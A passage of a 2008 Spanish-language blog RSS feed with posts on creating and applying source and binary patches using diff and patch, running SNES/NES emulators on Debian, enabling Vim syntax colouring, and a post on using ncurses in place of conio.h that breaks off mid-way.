		<description><![CDATA[Ya era hora de escribir otro tutorial , y elegí escribir sobre los tan comunes parches que por x razón ocupamos a cada momento. (En GNU/Linux) Comencemos por el concepto: Cita wikipedia: En informática, un parche es una sección de código que se introduce a un programa. Dicho código puede tener varios objetivos; sustituir código [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=151&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Pacth!" src="http://img95.imageshack.us/img95/7929/curitaminiaturaxs9.jpg" alt="" width="128" height="99" /></p>
<p>Ya era hora de escribir otro tutorial <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  , y elegí escribir sobre los tan comunes parches que por x razón ocupamos a cada momento.</p>
<p>(En GNU/Linux)</p>
<p>Comencemos por el concepto:</p>
<blockquote><p><em>Cita wikipedia</em>:</p>
<p>En <a title="Informática" href="http://es.wikipedia.org/wiki/Inform%C3%A1tica">informática</a>, un <strong>parche</strong> es una sección de código que se introduce a un <a title="Programa (computación)" href="http://es.wikipedia.org/wiki/Programa_%28computaci%C3%B3n%29">programa</a>. Dicho código puede tener varios objetivos; sustituir código erróneo, agregar funcionalidad al programa, aplicar una actualización, etc.</p></blockquote>
<p>Ahora vamos a aclarar que el patching se pueden aplicar a 2 tipos de cosas:</p>
<ul>
<li>Al código fuente del programa</li>
<li>Al archivo binario (ya compilado)</li>
</ul>
<p>Por ahora vamos a concentrarnos en el primer tipo.</p>
<p><strong>/*Parcheando un código fuente*/</strong></p>
<p>Supongamos que entramos a una web de algún proyecto open source, el código fuente de la aplicación que se esta creando en el proyecto esta disponible desde allí, nos ponemos a revisar el código y vemos algo como esto:</p>
<blockquote><p>#include &lt;stdio.h&gt;</p>
<p>main() {</p>
<p>int *pnt;<br />
int i, a[3]={1,2,3};</p>
<p>for(i=0; i&lt;3; i++) {<br />
pnt = &amp;a[i];<br />
printf(&#8220;Puntero = %d\n&#8221;, pnt);<br />
}</p>
<p>return 0;</p>
<p>}</p></blockquote>
<p>(Obviamente no es un programa real ni parte de ningún otro, solo un ejemplo que escribí que va a servir para demostrar el uso de los parches)</p>
<p>Ohh, ahí hay un error en una linea, si se compila de esa forma el programa no va a funcionar como debe.</p>
<blockquote><p>printf(&#8220;Puntero = %d\n&#8221;, pnt);</p></blockquote>
<p>En esa parte, hay un error en el acceso del contenido del puntero, falta el *.</p>
<p>Un error mínimo que no va a dar ninguna clase de problemas en la compilación pero que haría que el programa fuera inútil, sabiendo esto ¿que podríamos hacer?.</p>
<p>Pues una opción seria aplicarle un parche que corrija el error.</p>
<p><strong>¿Como hacerlo?</strong></p>
<p>En GNU/Linux disponemos de dos herramientas que hacen el trabajo extremadamente fácil.</p>
<ul>
<li>diff</li>
<li>patch</li>
</ul>
<p>Lo primero seria guardar el código fuente, como es un ejemplo, que tenga de nombre <strong>programa1.c</strong> , ahí tendríamos el programa tal cual esta con el error incluido, ahora creo otro archivo con el mismo código pero cambiado la linea del error por esta:</p>
<blockquote><p>printf(&#8220;Puntero = %d\n&#8221;, *pnt);</p></blockquote>
<p>De hecho ese seria el único cambio (en este caso agregar el *), el código reparado lo guardamos como <strong>programa2.c</strong></p>
<p>Ahora viene la magia, <strong>diff</strong> es un programa que compara 2 archivos y muestra las diferencias de este, en este caso eso es justo lo que necesitamos.</p>
<p>La sintaxis:</p>
<blockquote><p>diff programa1.c programa2.c &gt; parche.patch</p></blockquote>
<p>Analizando la linea notamos que compara los dos programas y las diferencias las escribe en un nuevo archivo (parche).</p>
<p>Ya tenemos el parche, ahora solo falta aplicarlo, esto lo vamos a hacer con otra aplicación de los sistema unix que se llama <strong>patch</strong>.</p>
<p>Lo que hace este es que toma las diferencias de 2 programas (el parche) y esta diferencia la aplica al archivo original.</p>
<p>La sintaxis:</p>
<blockquote><p>patch -p1 -i parche.patch programa1.c</p></blockquote>
<p>Analizando, el -p1 se puede omitir en este caso, se ocupa más que todo cuando hay parches en directorios diferentes y sirve para omitir los slash y la ruta superior, el -i viene de input y lee el archivo parche.patch</p>
<p>Si todo salio bien el sistema arroja este mensaje:</p>
<blockquote><p>patching file programa1.c</p></blockquote>
<p>Y si no hay errores el programa ya debería estar parchado <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ahora podemos enviarle el parche a los lideres del proyecto para que lo reparen <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
<p><strong>/*Parchando un archivo binario*/</strong></p>
<p>Ahora vamos al segundo caso, que pasa si el código fuente del proyecto ya fue compilado (aun con el error) y también ya fue distribuido.</p>
<p>Primero seria sustituir el archivo de la descarga de la web por el correcto, pero.. ¿y los usuarios? , cuando son programas muy grandes no se les puede decir que desinstalen todo y vuelvan a bajar el programa y después volver a instalarlo, en este caso es mejor aplicarle un parche que solucione el error.</p>
<p>Tomando como ejemplo el mismo programa, el mal acceso al contenido del puntero hace que muestre datos completamente diferentes a lo que debería:</p>
<p><img class="alignnone" title="Programa con error" src="http://img352.imageshack.us/img352/1808/p1zj8.png" alt="" width="509" height="271" /><br />
 <img src='http://s0.wp.com/wp-includes/images/smilies/icon_neutral.gif' alt=':|' class='wp-smiley' /> </p>
<p>¿Como generar el parche?, pues relativamente es bastante fácil, y vamos a usar las mismas herramientas que cuando parchamos el código fuente.</p>
<p>Como anteriormente teníamos el código fuente original (con el error) <strong>programa1.c</strong> y el código reparado <strong>programa2.c</strong>, vamos a compilar los 2 código para generar 2 binarios.</p>
<blockquote><p>gcc programa1.c -o programa1</p>
<p>gcc programa2.c -o programa2</p></blockquote>
<p>Ahora vamos a compararlos de esta manera y a generar el nuevo parche:</p>
<blockquote><p>diff -a &#8211;binary programa1 programa2 &gt; patch</p></blockquote>
<p>Revisando el comando, diff es la aplicación, el -a indica que va a tratar los archivos como texto y va a comparar linea por linea, el &#8211;binary que va a ser una comparación binaria y el parche va a ser de la misma forma, programa1 y programa2 son los archivos ya compilados y el &gt; parche indica que la comparación va a generar un parche de nombre parche (xD) .</p>
<p>Con eso ya tenemos todo listo, ¿como lo aplicamos?.</p>
<p>Pues bastante parecido al ejemplo anterior y siempre usando patch.</p>
<p>La sintaxis del comando en este caso resulta bastante simple:</p>
<blockquote><p>patch &#8211;binary programa1 parche</p></blockquote>
<p>patch es la aplicación encargada de parchar, &#8211;binary que va a ser un trabajo binario, programa1 es el fichero al cual le vamos a aplicar el parche y parche es el nombre con el que guardamos el patch (todo debe estar en el mismo directorio).</p>
<p>Si tenemos éxito en estos 2 pasos tendríamos que tener algo parecido a esto y con buenos resultados <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  :</p>
<p><img class="alignnone" title="Proceso de parchado" src="http://img381.imageshack.us/img381/9776/pa1ix9.png" alt="" width="509" height="271" /></p>
<p>Ya sirve!!</p>
<p>En caso de que quisiéramos facilitarle aun más el trabajo al usuario y evitar que se ponga a ejecutar comandos podríamos hacer todo automáticamente con un pequeño script en <a href="http://es.wikipedia.org/wiki/Bash">bash</a>:</p>
<blockquote><p>#!/bin/bash</p>
<p>cd /ruta donde se encuentra el binario/</p>
<p>wget www.webdelproyecto/parche</p>
<p>patch &#8211;binary programa1 parche</p></blockquote>
<p>y con eso solo tendría que ejecutar el scrpt.</p>
<p>P.e: <strong>./parcheprograma.sh</strong></p>
<p>Como se dieron cuenta es un tutorial sencillo, sin muchas complicaciones pero que se puede ampliar mucho más dependiendo la cantidad de ficheros que queramos parchar el modo de hacerlo entre otras cosas, pero esto sirve como algo introductorio, hay muchos más parámetros de estas 2 herramientas que pueden conocer leyendo los manuales de estos :</p>
<blockquote><p>man diff</p>
<p>man patch</p></blockquote>
<p> <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Y con esto termina todo, un saludo a los que leen.</p>
<p><strong>Referencias:</strong></p>
<p><a href="http://es.wikipedia.org/wiki/Actualizaci%C3%B3n">Parche (computación)</a></p>
<p>&#8211;</p>
<p>/* By Lyoko</p>
<p>www.lyoko.sv.tc xD */</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/151/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=151&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/10/13/how-tocreando-y-aplicando-parches-individuales/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img95.imageshack.us/img95/7929/curitaminiaturaxs9.jpg" medium="image">
			<media:title type="html">Pacth!</media:title>
		</media:content>

		<media:content url="http://img352.imageshack.us/img352/1808/p1zj8.png" medium="image">
			<media:title type="html">Programa con error</media:title>
		</media:content>

		<media:content url="http://img381.imageshack.us/img381/9776/pa1ix9.png" medium="image">
			<media:title type="html">Proceso de parchado</media:title>
		</media:content>
	</item>
		<item>
		<title>Sobre el SNES, NES y el mundo -1</title>
		<link>http://mesblo.wordpress.com/2008/10/07/sobre-el-snes-nes-y-el-mundo-1/</link>
		<comments>http://mesblo.wordpress.com/2008/10/07/sobre-el-snes-nes-y-el-mundo-1/#comments</comments>
		<pubDate>Tue, 07 Oct 2008 20:11:01 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Juegos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Yo]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[Emulador]]></category>
		<category><![CDATA[INES]]></category>
		<category><![CDATA[NES]]></category>
		<category><![CDATA[ROMs]]></category>
		<category><![CDATA[SNES]]></category>
		<category><![CDATA[ZSNES]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=136</guid>
		<description><![CDATA[Bueno, una entrada dedicada a unos grandes clásicos Hace cuanto tiempo el SNES estaba en su apogeo aquí en el país?, unos 11 años? Si algo recuerdo bastante bien es que en esos tiempos mis tíos vivían bastante cerca de mi casa, así que varios tardes de la semana la pasábamos con ellos, a mi [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=136&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Bueno, una entrada dedicada a unos grandes clásicos <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img class="alignnone" title="SNES" src="http://img185.imageshack.us/img185/4856/supernintendoentertainmph0.jpg" alt="" width="320" height="206" /></p>
<p>Hace cuanto tiempo el <a href="http://es.wikipedia.org/wiki/SNES">SNES</a> estaba en su apogeo aquí en el país?, unos 11 años?</p>
<p>Si algo recuerdo bastante bien es que en esos tiempos mis tíos vivían bastante cerca de mi casa, así que varios tardes de la semana la pasábamos con ellos, a mi me gustaba bastante porque me dejaban jugar con su Super Nintendo <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  , si, cuanta diversión me traia un juego que ahora es mítico y que se llamaba <a href="http://es.wikipedia.org/wiki/Donkey_Kong_Country">Donkey Kong Country</a>.</p>
<p>Simplemente para un niño de 7 años pasar casi toda la tarde jugando eso era lo mejor que podía existir, ¿pero por qué hablo de esto aquí?.</p>
<p>Porque hasta hace poco me di cuenta que existe un emulador del SNES Para Linux de nombre <a href="http://www.zsnes.com/">ZSNES</a> xD, en la web oficial del proyecto esta la descarga de las fuente para compilarlo uno mismo.</p>
<p>Cosa que me dispuse a hacer pero que me dio error porque tenia que compilarlo usando una versión del <a href="http://es.wikipedia.org/wiki/Colecci%C3%B3n_de_compiladores_GNU">gcc</a> menor a la que yo tengo instalada, entonces pase un buen rato buscando una solución para eso y no tener que hacer el downgrade.. Después de varias búsquedas con google, probar algunos parches <em>(Creo que la próxima entrada del blog va a ser sobre este tema)</em> y otras cosas, me di cuenta que el ZNES estaba en los repositorios <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  jaja, hasta ya estaba pensando que después de compilarlo lo iba a empaquetar en un .deb y después lo iba a subir a Internet para ponerlo a disposición de cualquiera :S .</p>
<p>Entonces.. ya no era necesario compilarlo sino que solo instalarlo con el aptitude:</p>
<blockquote><p>aptitude install zsnes</p></blockquote>
<p>Claro que ahora con el emulador instalado, necesitaba buscar algunos juegos y como es obvio el primero que fui a buscar fue el favorito de mi niñes, después de pasar por unos cuantos lugares encontré el ROM listo para ser descargado, luego de un rato ya estaba jugando otra vez con Donkey Kong:</p>
<p><img class="alignnone" title="Donkey Kong" src="http://img60.imageshack.us/img60/9407/pantallazozsneshj5.png" alt="" width="507" height="474" /></p>
<p>Pero al parecer el ZSNES da problemas con el sonido pero que se puede solucionar instalando esto:</p>
<blockquote><p>libsdl1.2debian-oss</p></blockquote>
<p>Y cargando el emulador con estos parámetros:</p>
<blockquote><p>zsnes -ad sdl</p></blockquote>
<p>Pero retrocediendo un par de años, mi diversión no era el SNES si no que el histórico <a href="http://es.wikipedia.org/wiki/NES">NES</a> :</p>
<p><img class="alignnone" title="NES" src="http://img356.imageshack.us/img356/5561/nintendones1srv8.jpg" alt="" width="263" height="215" /></p>
<p>Já , quien no se va a acordar de eso, el icono de este era el recontra conocido juego de <a href="http://es.wikipedia.org/wiki/Super_Mario_Bros.">Super Mario Bros</a>, y ahora viene el porque del titulo del blog.. Me entere que en aquel juego existe un error de programación, quizá no error pero si un nivel que probablemente era con el que los desarrolladores testeaban el juego y que olvidaron eliminarlo o no lo quisieron hacer.</p>
<p>El famoso <strong>mundo -1</strong> o el <strong>minus world</strong>, un nivel donde solo se puede llegar atravesando una pared y después entrar por una tubería y automáticamente llegas al mundo negativo, donde por más que llegues al final este te regresa al principio quedando en un bucle infinito donde al pasar los segundos se muere por la falta de tiempo.</p>
<p>Se puede leer bastante de eso en este <a href="http://www.taringa.net/posts/info/840577/Super-Mario-Bros,-curiosidades,-secretos-y-bugs.html">post de Taringa!</a>.</p>
<p>Al saber esto por supuesto que quería probarlo yo mismo, por lo que me puse a buscar un emulador de NES para Linux y encontré el <a href="http://fms.komkon.org/iNES/">iNES</a>, este si no esta los repositorios por lo que hay que bajarse los binarios desde la web y correrlo con la terminal de esta manera:</p>
<blockquote><p>./ines32 nombredelrom.nes</p></blockquote>
<p>Para ver la ayuda del programa se hace asi:</p>
<blockquote><p>./ines32 -help</p></blockquote>
<p>Ya con el emulador y con el Rom de Mario también listo me puse a intentar llegar al minus world sin éxito alguno xD</p>
<p><img class="alignnone" title="Super Mario Bros" src="http://img515.imageshack.us/img515/206/pantallazoinesunix36qc2.png" alt="" width="494" height="462" /></p>
<p>Pero en el pack donde venia el Rom del Super Mario no venia solo, también venia el Super Mario 2 y 3.</p>
<p>Este ultimo mi favorito de esta consola, y también el juego que más me pudo enviciar en aquellos tiempos, que a pesar de no ser un juego con gráficas sorprendentes como los de ahora, de tener un control rectangular con solo 8 botones que hacia que dolieran los dedos al pasar el tiempo, tenia ese toque que podía hacer que todo niño se sintiera feliz con estar jugándolo.</p>
<p><img class="alignnone" title="Super Mario Bros 3" src="http://img505.imageshack.us/img505/6620/pantallazoinesunix361uj4.png" alt="" width="494" height="462" /></p>
<p>Cuando me puse a jugarlo y escuche todos los sonidos y la música del juego por un momento sentí como si hubiera retrocedido el tiempo por unos segundos y otra vez tuviera 6 ó 7 años y estuviera una tarde en mi casa pasando uno de aquellos momentos de calidad <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  -</p>
<p>Grandes clasicos, parte de la historia y que siempre valen la pena recordarlos.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/136/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=136&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/10/07/sobre-el-snes-nes-y-el-mundo-1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img185.imageshack.us/img185/4856/supernintendoentertainmph0.jpg" medium="image">
			<media:title type="html">SNES</media:title>
		</media:content>

		<media:content url="http://img60.imageshack.us/img60/9407/pantallazozsneshj5.png" medium="image">
			<media:title type="html">Donkey Kong</media:title>
		</media:content>

		<media:content url="http://img356.imageshack.us/img356/5561/nintendones1srv8.jpg" medium="image">
			<media:title type="html">NES</media:title>
		</media:content>

		<media:content url="http://img515.imageshack.us/img515/206/pantallazoinesunix36qc2.png" medium="image">
			<media:title type="html">Super Mario Bros</media:title>
		</media:content>

		<media:content url="http://img505.imageshack.us/img505/6620/pantallazoinesunix361uj4.png" medium="image">
			<media:title type="html">Super Mario Bros 3</media:title>
		</media:content>
	</item>
		<item>
		<title>Esquema de colores en Vim</title>
		<link>http://mesblo.wordpress.com/2008/10/01/esquema-de-colores-en-vim/</link>
		<comments>http://mesblo.wordpress.com/2008/10/01/esquema-de-colores-en-vim/#comments</comments>
		<pubDate>Wed, 01 Oct 2008 06:18:20 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Colores]]></category>
		<category><![CDATA[Vim]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=129</guid>
		<description><![CDATA[En la entrada anterior puse una captura de mi vim, pero que no coloreaba las funciones (en ese momento no sabia por qué había dejado de hacerlo xD). Resulta que anteriormente ya había reinstalado vim pero no fue solo una reinstalación sino que también le pase el parámetro &#8211;purge (borre toda la configuración y la [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=129&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>En la entrada anterior puse una captura de mi vim, pero que no coloreaba las funciones (en ese momento no sabia por qué había dejado de hacerlo xD).</p>
<p>Resulta que anteriormente ya había reinstalado vim pero no fue solo una reinstalación sino que también le pase el parámetro &#8211;purge (borre toda la configuración y la deje como estaba por default), y para que vim coloree como debe de ser hay que descomentar un par de lineas de este archivo:</p>
<blockquote><p>/etc/vim/vimrc</p></blockquote>
<p>Descomentar la linea:</p>
<blockquote><p>syntax on</p></blockquote>
<p>Y también:</p>
<blockquote><p>set background=dark</p></blockquote>
<p>Guardar y con eso ya debería mostrarse como debe:</p>
<p><img class="alignnone" title="Vim" src="http://img228.imageshack.us/img228/3940/vimco3.png" alt="" width="460" height="427" /><br />
 <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/129/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=129&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/10/01/esquema-de-colores-en-vim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img228.imageshack.us/img228/3940/vimco3.png" medium="image">
			<media:title type="html">Vim</media:title>
		</media:content>
	</item>
		<item>
		<title>Esa maldita librería conio.h</title>
		<link>http://mesblo.wordpress.com/2008/09/25/esa-maldita-libreria-conioh/</link>
		<comments>http://mesblo.wordpress.com/2008/09/25/esa-maldita-libreria-conioh/#comments</comments>
		<pubDate>Fri, 26 Sep 2008 04:12:31 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[conio]]></category>
		<category><![CDATA[Gcc]]></category>
		<category><![CDATA[Ncurses]]></category>
		<category><![CDATA[PDCurses]]></category>
		<category><![CDATA[stdio]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=106</guid>
		<description><![CDATA[El titulo esta algo dramático pero sirve para llamar la atención .. Como un pequeño offtopic: No se como paso pero se habían borrado los comentarios de aproximadamente los últimos 15 días , sepa si moví algo sin querer pero de que paso, paso, pero por suerte el lunes pasado me decidi a sacar el [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=106&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Frustracion!" src="http://img223.imageshack.us/img223/4356/keyboardfrustrationfg6.jpg" alt="" width="265" height="320" /></p>
<p>El titulo esta algo dramático pero sirve para llamar la atención <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ..</p>
<p>Como un pequeño offtopic:</p>
<p>No se como paso pero se habían borrado los comentarios de aproximadamente los últimos 15 días , sepa si moví algo sin querer pero de que paso, paso, pero por suerte el lunes pasado me decidi a sacar el primer backup del blog xD, (si, el primero) , gracias a eso puede restaurar esos comentarios desde el phpmyadmin <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
<p>Ahora al tema principal:</p>
<p>Una de las virtudes del humano es el poder evolucionar y progresar a cosas mejores, es nuestra naturaleza y se aplica incluso a la informática. Los tiempos cambian y la era en la que <a href="http://es.wikipedia.org/wiki/MS-DOS">MSDOS</a> era el único rey ya termino, sin embargo y por desgracia todavía quedan secuelas de ese &#8220;reinado&#8221; y un claro ejemplo es el uso que todavía se le sigue dando al mítico <a href="http://es.wikipedia.org/wiki/Turbo_C">TURBO C</a> , y que muchos todavía nos vemos obligados a escribir programas exclusivos para windows en las universidades y/o trabajos.</p>
<p>Para los que estan relacionados con el medio les va a sonar familiar la librería <a href="http://en.wikipedia.org/wiki/Conio.h">conio.h</a>, si, esa misma cabecera de <a href="http://es.wikipedia.org/wiki/Borland">borland</a> que usamos a cada momento para escribir los programas en modo texto y para ocupar las famosas funciones, <strong>getch(), clrscr(), gotoxy(x,y)</strong>, y que es el impedimento #1 de porque no es común tener programas portables de windos a linux..</p>
<p>(conio.h no es una librería de GNU/Linux).</p>
<p>¿Entonces ante esta problemática que se puede hacer?.</p>
<p>Para nuestra fortuna y como era de esperarse ya pensaron en eso y tenemos una gran alternativa al conio.h, borland y al turbo c que se llama <a href="http://es.wikipedia.org/wiki/Ncurses">Ncurses</a>, me voy a ahorrar el trabajo de dar el concepto porque ya esta explicado en la wikipedia, asi que solo estan a un click de conocerlo <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
<p>La instalación es fácil en debian y derivados, basta con hacer:</p>
<blockquote><p>apt-get update</p>
<p>apt-get install ncurses*</p></blockquote>
<p>Ahora, un programa sencillo que use ncurses seria uno que te pida el nombre y después lo imprima en pantalla xD (uy) .</p>
<p>En ncurses la sintaxis es similar a si estuviéramos usando el <strong>stdio.h</strong> y <strong>conio.h</strong>, sin embargo hay algunas cosas nuevas que le dan más potencia a curses y que hacen que varien algunas cosas un poco con respecto a lo que estamos acostumbrados.</p>
<p>A lo bueno (escribir un programa usando ncurses) :</p>
<p>Lo primero y obvio incluir la cabecera en el programa:</p>
<blockquote><p>#include &lt;ncurses.h&gt;</p></blockquote>
<p>después viene la declaración de la función principal, la variable del tipo char y ahora algo importante que es iniciar la pantalla que se hace con la función <strong>initscr()</strong> , podemos borrar los datos que ya pudieran estar en la pantalla con <strong>erase()</strong> (vendría siendo el equivalente al <strong>clrscr()</strong> del conio.h)</p>
<p>La impresión se hace con <strong>printw()</strong>, y la sintaxis es la misma que el <strong>printf()</strong>, la lectura de datos se hace con <strong>scanw()</strong> y la sintaxis es la misma que el <strong>scanf()</strong>, por ultimo si queremos esperar un caracter del teclado se hace lo mismo que en turbo c, <strong>getch()</strong>, ahora algo importante también, cerrar la ventana con <strong>endwin()</strong> y sin olvidar el común <strong>return 0</strong> .</p>
<p>queda de esta forma:</p>
<p><img class="alignnone" title="Gedit" src="http://img260.imageshack.us/img260/5597/geditcj0.png" alt="" width="531" height="402" /></p>
<p>Nótese que estoy usando nada más el gedit que viene incluido en gnome, no necesito más.. después solo es cuestión de guardar el programa con una extensión <strong>.c</strong></p>
<p>Si quisiéramos sentirnos más leets a la hora de programar podemos usar el <a href="http://es.wikipedia.org/wiki/Vim">vim</a> para codear en la misma consola:</p>
<p><img class="alignnone" title="Vim!" src="http://img252.imageshack.us/img252/747/terminaljl4.png" alt="" width="502" height="258" /></p>
<p>/* No se porque no me coloreo las funciones ni resalto nada <img src='http://s0.wp.com/wp-includes/images/smilies/icon_neutral.gif' alt=':|' class='wp-smiley' />  , pero en un vim sin problemas se ve bastante bien xD */</p>
<p>¿Y como se viera el programa compilado y ejecutado?</p>
<p><img class="alignnone" title="Programa" src="http://img252.imageshack.us/img252/7209/terminal2yh9.png" alt="" width="502" height="258" /></p>
<p>/* Para compilar (via terminal):</p>
<blockquote><p>gcc ncurses.c -o ncurses -lncurses</p></blockquote>
